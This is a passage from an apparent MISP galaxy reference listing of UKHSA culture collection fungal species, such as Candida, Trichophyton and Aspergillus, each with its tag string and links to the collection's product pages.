Links
https://www.culturecollections.org.uk/nop/product/c0003-2

C0005

The tag is: *misp-galaxy:ukhsa-culture-collections="C0005"*

Table 27293. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0005-2

Cyberlindnera fabianii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cyberlindnera fabianii"*

Table 27294. Table References

Links
https://www.culturecollections.org.uk/nop/product/cyberlindnera-fabianii-3
https://www.culturecollections.org.uk/nop/product/cyberlindnera-fabianii-2
https://www.culturecollections.org.uk/nop/product/cyberlindnera-fabianii

Candida pararugosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida pararugosa"*

Table 27295. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-pararugosa

Candida albicans

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida albicans"*

Table 27296. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-albicans-170
https://www.culturecollections.org.uk/nop/product/candida-albicans-153
https://www.culturecollections.org.uk/nop/product/candida-albicans-150
https://www.culturecollections.org.uk/nop/product/candida-albicans-116
https://www.culturecollections.org.uk/nop/product/candida-albicans-107
https://www.culturecollections.org.uk/nop/product/candida-albicans-96
https://www.culturecollections.org.uk/nop/product/candida-albicans-95
https://www.culturecollections.org.uk/nop/product/candida-albicans-94
https://www.culturecollections.org.uk/nop/product/candida-albicans-84
https://www.culturecollections.org.uk/nop/product/candida-albicans-77
https://www.culturecollections.org.uk/nop/product/candida-albicans-73
https://www.culturecollections.org.uk/nop/product/candida-albicans-69
https://www.culturecollections.org.uk/nop/product/candida-albicans-68
https://www.culturecollections.org.uk/nop/product/candida-albicans-67
https://www.culturecollections.org.uk/nop/product/candida-albicans-61
https://www.culturecollections.org.uk/nop/product/candida-albicans-32
https://www.culturecollections.org.uk/nop/product/candida-albicans-20
https://www.culturecollections.org.uk/nop/product/candida-albicans-106
https://www.culturecollections.org.uk/nop/product/candida-albicans-105
https://www.culturecollections.org.uk/nop/product/candida-albicans-45
https://www.culturecollections.org.uk/nop/product/candida-albicans-22

Cryptococcus uniguttulatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Cryptococcus uniguttulatus"*

Table 27297. Table References

Links
https://www.culturecollections.org.uk/nop/product/cryptococcus-uniguttulatus-3
https://www.culturecollections.org.uk/nop/product/cryptococcus-uniguttulatus-2
https://www.culturecollections.org.uk/nop/product/cryptococcus-uniguttulatus

Candida nivariensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida nivariensis"*

Table 27298. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-nivariensis-11
https://www.culturecollections.org.uk/nop/product/candida-nivariensis-10
https://www.culturecollections.org.uk/nop/product/candida-nivariensis-6
https://www.culturecollections.org.uk/nop/product/candida-nivariensis-3
https://www.culturecollections.org.uk/nop/product/candida-nivariensis-2

Exophiala dermatitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala dermatitidis"*

Table 27299. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-75
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-60
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-48
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-45
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-23
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-15
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-11
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-7
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-6
https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-5

https://www.culturecollections.org.uk/nop/product/exophiala-dermatitidis-2

Adiospiromyces sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Adiospiromyces sp."*

Table 27300. Table References

Links
https://www.culturecollections.org.uk/nop/product/adiospiromyces-sp

Cladophialophora bantiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladophialophora bantiana"*

Table 27301. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladophialophora-bantiana-29
https://www.culturecollections.org.uk/nop/product/cladophialophora-bantiana-2
https://www.culturecollections.org.uk/nop/product/cladophialophora-bantiana-8
https://www.culturecollections.org.uk/nop/product/cladophialophora-bantiana-30
https://www.culturecollections.org.uk/nop/product/cladophialophora-bantiana-24

Blastomyces parvus

The tag is: *misp-galaxy:ukhsa-culture-collections="Blastomyces parvus"*

Table 27302. Table References

Links
https://www.culturecollections.org.uk/nop/product/blastomyces-parvus

Renispora flavissima

The tag is: *misp-galaxy:ukhsa-culture-collections="Renispora flavissima"*

Table 27303. Table References

Links
https://www.culturecollections.org.uk/nop/product/renispora-flavissima-2
https://www.culturecollections.org.uk/nop/product/renispora-flavissima

Nannizzia praecox

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia praecox"*

Table 27304. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-praecox

Aphanoascus terreus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aphanoascus terreus"*

Table 27305. Table References

Links
https://www.culturecollections.org.uk/nop/product/aphanoascus-terreus-4
https://www.culturecollections.org.uk/nop/product/aphanoascus-terreus-3
https://www.culturecollections.org.uk/nop/product/aphanoascus-terreus-2
https://www.culturecollections.org.uk/nop/product/aphanoascus-terreus

Trichophyton soudanense

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton soudanense"*

Table 27306. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-soudanense-12
https://www.culturecollections.org.uk/nop/product/trichophyton-soudanense-10
https://www.culturecollections.org.uk/nop/product/trichophyton-soudanense-8
https://www.culturecollections.org.uk/nop/product/trichophyton-soudanense-5
https://www.culturecollections.org.uk/nop/product/trichophyton-soudanense-4

Auxarthron umbrinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Auxarthron umbrinum"*

Table 27307. Table References

Links
https://www.culturecollections.org.uk/nop/product/auxarthron-umbrinum-3
https://www.culturecollections.org.uk/nop/product/auxarthron-umbrinum-2
https://www.culturecollections.org.uk/nop/product/auxarthron-umbrinum

Trichophyton interdigitale

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton interdigitale"*

Table 27308. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-30
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-29
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-28
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-27
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-25
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-17
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-16
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-15
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-14
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-13
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-12
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-11
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-10
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-9
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-8
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-7
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-5
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-4
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-3
https://www.culturecollections.org.uk/nop/product/trichophyton-interdigitale-6

Microsporum audouinii

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum audouinii"*

Table 27309. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-audouinii-18
https://www.culturecollections.org.uk/nop/product/microsporum-audouinii-12
https://www.culturecollections.org.uk/nop/product/microsporum-audouinii-10
https://www.culturecollections.org.uk/nop/product/microsporum-audouinii-9

https://www.culturecollections.org.uk/nop/product/microsporum-audouinii-4

Trichophyton tonsurans

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton tonsurans"*

Table 27310. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-88
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-87
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-86
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-81
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-77
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-71
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-68
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-63
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-59
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-57
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-56
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-55
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-54
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-53
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-51
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-48
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-39
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-36
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-35
https://www.culturecollections.org.uk/nop/product/trichophyton-tonsurans-9

Arthroderma uncinatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma uncinatum"*

Table 27311. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-uncinatum-9
https://www.culturecollections.org.uk/nop/product/arthroderma-uncinatum-7

https://www.culturecollections.org.uk/nop/product/arthroderma-uncinatum-5
https://www.culturecollections.org.uk/nop/product/arthroderma-uncinatum-3
https://www.culturecollections.org.uk/nop/product/arthroderma-uncinatum

Trichophyton violaceum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton violaceum"*

Table 27312. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-violaceum-14
https://www.culturecollections.org.uk/nop/product/trichophyton-violaceum-13
https://www.culturecollections.org.uk/nop/product/trichophyton-violaceum-11
https://www.culturecollections.org.uk/nop/product/trichophyton-violaceum-4
https://www.culturecollections.org.uk/nop/product/trichophyton-violaceum-3

Myceliophthora sepedonium

The tag is: *misp-galaxy:ukhsa-culture-collections="Myceliophthora sepedonium"*

Table 27313. Table References

Links
https://www.culturecollections.org.uk/nop/product/myceliophthora-sepedonium

Nannizzia fulva

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia fulva"*

Table 27314. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-fulva-8
https://www.culturecollections.org.uk/nop/product/nannizzia-fulva-5
https://www.culturecollections.org.uk/nop/product/nannizzia-fulva-4
https://www.culturecollections.org.uk/nop/product/nannizzia-fulva

Paraphyton cookei

The tag is: *misp-galaxy:ukhsa-culture-collections="Paraphyton cookei"*

Table 27315. Table References

Links
https://www.culturecollections.org.uk/nop/product/paraphyton-cookei-12
https://www.culturecollections.org.uk/nop/product/paraphyton-cookei-9
https://www.culturecollections.org.uk/nop/product/paraphyton-cookei-8
https://www.culturecollections.org.uk/nop/product/paraphyton-cookei-5
https://www.culturecollections.org.uk/nop/product/paraphyton-cookei

Trichophyton rubrum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton rubrum"*

Table 27316. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-44
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-35
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-34
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-30
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-25
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-24
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-21
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-20
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-18
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-17
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-12
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-11
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-10
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-9
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-7
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-6
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-2
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum
https://www.culturecollections.org.uk/nop/product/trichophyton-rubrum-22

Arthroderma cuniculi

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma cuniculi"*

Table 27317. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-cuniculi-5
https://www.culturecollections.org.uk/nop/product/arthroderma-cuniculi-4
https://www.culturecollections.org.uk/nop/product/arthroderma-cuniculi-3
https://www.culturecollections.org.uk/nop/product/arthroderma-cuniculi-2
https://www.culturecollections.org.uk/nop/product/arthroderma-cuniculi

Aphanoascus keratinophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aphanoascus keratinophilus"*

Table 27318. Table References

Links
https://www.culturecollections.org.uk/nop/product/aphanoascus-keratinophilus-2
https://www.culturecollections.org.uk/nop/product/aphanoascus-keratinophilus

Nannizzia persicolor

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia persicolor"*

Table 27319. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-20
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-18
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-15
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-14
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-12
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-11
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-10
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-7
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-3
https://www.culturecollections.org.uk/nop/product/nannizzia-persicolor-2

Arthroderma eboreum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma eboreum"*

Table 27320. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-21
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-15
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-14
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-12
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-8
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum-5
https://www.culturecollections.org.uk/nop/product/arthroderma-eboreum

Cunninghamella elegans

The tag is: *misp-galaxy:ukhsa-culture-collections="Cunninghamella elegans"*

Table 27321. Table References

Links
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans-7
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans-6
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans-4
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans-3
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans-2
https://www.culturecollections.org.uk/nop/product/cunninghamella-elegans

Rasamsonia argillacea Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Rasamsonia argillacea Species Complex"*

Table 27322. Table References

Links
https://www.culturecollections.org.uk/nop/product/rasamsonia-argillacea-species-complex-5
https://www.culturecollections.org.uk/nop/product/rasamsonia-argillacea-species-complex-4
https://www.culturecollections.org.uk/nop/product/rasamsonia-argillacea-species-complex-3
https://www.culturecollections.org.uk/nop/product/rasamsonia-argillacea-species-complex-2
https://www.culturecollections.org.uk/nop/product/rasamsonia-argillacea-species-complex

Arthroderma multifidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma multifidum"*

Table 27323. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-multifidum-4
https://www.culturecollections.org.uk/nop/product/arthroderma-multifidum-3
https://www.culturecollections.org.uk/nop/product/arthroderma-multifidum-2
https://www.culturecollections.org.uk/nop/product/arthroderma-multifidum

Arthroderma melis

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma melis"*

Table 27324. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-melis

Neotestudina rosatii

The tag is: *misp-galaxy:ukhsa-culture-collections="Neotestudina rosatii"*

Table 27325. Table References

Links
https://www.culturecollections.org.uk/nop/product/neotestudina-rosatii-3
https://www.culturecollections.org.uk/nop/product/neotestudina-rosatii-2
https://www.culturecollections.org.uk/nop/product/neotestudina-rosatii

Trichophyton verrucosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton verrucosum"*

Table 27326. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-42
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-36
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-35
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-34
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-14
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-11
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-8
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-6
https://www.culturecollections.org.uk/nop/product/trichophyton-verrucosum-4

Nannizzia nana

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia nana"*

Table 27327. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-nana-6
https://www.culturecollections.org.uk/nop/product/nannizzia-nana-5
https://www.culturecollections.org.uk/nop/product/nannizzia-nana-4
https://www.culturecollections.org.uk/nop/product/nannizzia-nana

Pleurostoma richardsiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Pleurostoma richardsiae"*

Table 27328. Table References

Links
https://www.culturecollections.org.uk/nop/product/pleurostoma-richardsiae-5
https://www.culturecollections.org.uk/nop/product/pleurostoma-richardsiae-4
https://www.culturecollections.org.uk/nop/product/pleurostoma-richardsiae-3
https://www.culturecollections.org.uk/nop/product/pleurostoma-richardsiae-2
https://www.culturecollections.org.uk/nop/product/pleurostoma-richardsiae

Cokeromyces recurvatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Cokeromyces recurvatus"*

Table 27329. Table References

Links
https://www.culturecollections.org.uk/nop/product/cokeromyces-recurvatus-3
https://www.culturecollections.org.uk/nop/product/cokeromyces-recurvatus-2

Lasiodiplodia theobromae

The tag is: *misp-galaxy:ukhsa-culture-collections="Lasiodiplodia theobromae"*

Table 27330. Table References

Links
https://www.culturecollections.org.uk/nop/product/lasiodiplodia-theobromae-15
https://www.culturecollections.org.uk/nop/product/lasiodiplodia-theobromae-14

https://www.culturecollections.org.uk/nop/product/lasiodiplodia-theobromae-11
https://www.culturecollections.org.uk/nop/product/lasiodiplodia-theobromae-7
https://www.culturecollections.org.uk/nop/product/lasiodiplodia-theobromae-5

Penicillium claviforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium claviforme"*

Table 27331. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-claviforme

Actinomucor elegans

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomucor elegans"*

Table 27332. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomucor-elegans

Purpureocillium lilacinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Purpureocillium lilacinum"*

Table 27333. Table References

Links
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-9
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-8
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-7
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-6
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-5
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-4
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-3
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum-2
https://www.culturecollections.org.uk/nop/product/purpureocillium-lilacinum

Cladophialophora boppii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladophialophora boppii"*

Table 27334. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladophialophora-boppii-2
https://www.culturecollections.org.uk/nop/product/cladophialophora-boppii

Aspergillus nidulans Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus nidulans Species Complex"*

Table 27335. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex-13
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex-10
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex-5
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-nidulans-species-complex

Didymella macrostoma

The tag is: *misp-galaxy:ukhsa-culture-collections="Didymella macrostoma"*

Table 27336. Table References

Links
https://www.culturecollections.org.uk/nop/product/didymella-macrostoma

Phanerodontia chrysosporium

The tag is: *misp-galaxy:ukhsa-culture-collections="Phanerodontia chrysosporium"*

Table 27337. Table References

Links
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-7
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-6
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-5
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-4
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-3
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium-2
https://www.culturecollections.org.uk/nop/product/phanerodontia-chrysosporium

Beauveria bassiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Beauveria bassiana"*

Table 27338. Table References

Links
https://www.culturecollections.org.uk/nop/product/beauveria-bassiana-2
https://www.culturecollections.org.uk/nop/product/beauveria-bassiana

Pseudogymnoascus pannorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudogymnoascus pannorum"*

Table 27339. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudogymnoascus-pannorum-3
https://www.culturecollections.org.uk/nop/product/pseudogymnoascus-pannorum-2
https://www.culturecollections.org.uk/nop/product/pseudogymnoascus-pannorum

Neoscytalidium dimidiatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Neoscytalidium dimidiatum"*

Table 27340. Table References

Links
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-39
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-38
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-37
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-35
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-31
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-30
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-25
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-24
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-18
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-16
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-15
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-11
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-10

https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-9
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-8
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-7
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-6
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-4
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-3
https://www.culturecollections.org.uk/nop/product/neoscytalidium-dimidiatum-2

Sarocladium strictum

The tag is: *misp-galaxy:ukhsa-culture-collections="Sarocladium strictum"*

Table 27341. Table References

Links
https://www.culturecollections.org.uk/nop/product/sarocladium-strictum-3
https://www.culturecollections.org.uk/nop/product/sarocladium-strictum-2
https://www.culturecollections.org.uk/nop/product/sarocladium-strictum

Aspergillus deflectus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus deflectus"*

Table 27342. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-deflectus

Exserohilum rostratum

The tag is: *misp-galaxy:ukhsa-culture-collections="Exserohilum rostratum"*

Table 27343. Table References

Links
https://www.culturecollections.org.uk/nop/product/exserohilum-rostratum-3
https://www.culturecollections.org.uk/nop/product/exserohilum-rostratum-2
https://www.culturecollections.org.uk/nop/product/exserohilum-rostratum

Stachybotrys chartarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Stachybotrys chartarum"*

Table 27344. Table References

Links
https://www.culturecollections.org.uk/nop/product/stachybotrys-chartarum-3
https://www.culturecollections.org.uk/nop/product/stachybotrys-chartarum-2
https://www.culturecollections.org.uk/nop/product/stachybotrys-chartarum

Bisifusarium dimerum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Bisifusarium dimerum Species Complex"*

Table 27345. Table References

Links
https://www.culturecollections.org.uk/nop/product/bisifusarium-dimerum-species-complex-7
https://www.culturecollections.org.uk/nop/product/bisifusarium-dimerum-species-complex-6
https://www.culturecollections.org.uk/nop/product/bisifusarium-dimerum-species-complex-4
https://www.culturecollections.org.uk/nop/product/bisifusarium-dimerum-species-complex-3
https://www.culturecollections.org.uk/nop/product/bisifusarium-dimerum-species-complex

Ilyonectria destructans

The tag is: *misp-galaxy:ukhsa-culture-collections="Ilyonectria destructans"*

Table 27346. Table References

Links
https://www.culturecollections.org.uk/nop/product/ilyonectria-destructans-3
https://www.culturecollections.org.uk/nop/product/ilyonectria-destructans-2
https://www.culturecollections.org.uk/nop/product/ilyonectria-destructans

Aspergillus fumigatus Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus fumigatus Species Complex"*

Table 27347. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-63
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-52
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-51
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-50
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-49

https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-48
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-44
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-20
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-11
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-6
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-9
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-species-complex-10

Aspergillus fischerianus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus fischerianus"*

Table 27348. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-fischerianus-3
https://www.culturecollections.org.uk/nop/product/aspergillus-fischerianus

Aspergillus terreus Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus terreus Species Complex"*

Table 27349. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-10
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-9
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-8
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-7
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-6
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-5
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-terreus-species-complex

Alternaria oudemansii

The tag is: *misp-galaxy:ukhsa-culture-collections="Alternaria oudemansii"*

Table 27350. Table References

Links
https://www.culturecollections.org.uk/nop/product/alternaria-oudemansii

Penicillium glabrum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium glabrum"*

Table 27351. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-glabrum

Fusarium proliferatum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium proliferatum Species Complex"*

Table 27352. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-proliferatum-species-complex-5
https://www.culturecollections.org.uk/nop/product/fusarium-proliferatum-species-complex-4
https://www.culturecollections.org.uk/nop/product/fusarium-proliferatum-species-complex-3
https://www.culturecollections.org.uk/nop/product/fusarium-proliferatum-species-complex-2
https://www.culturecollections.org.uk/nop/product/fusarium-proliferatum-species-complex

Aspergillus versicolor Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus versicolor Species Complex"*

Table 27353. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-10
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-9
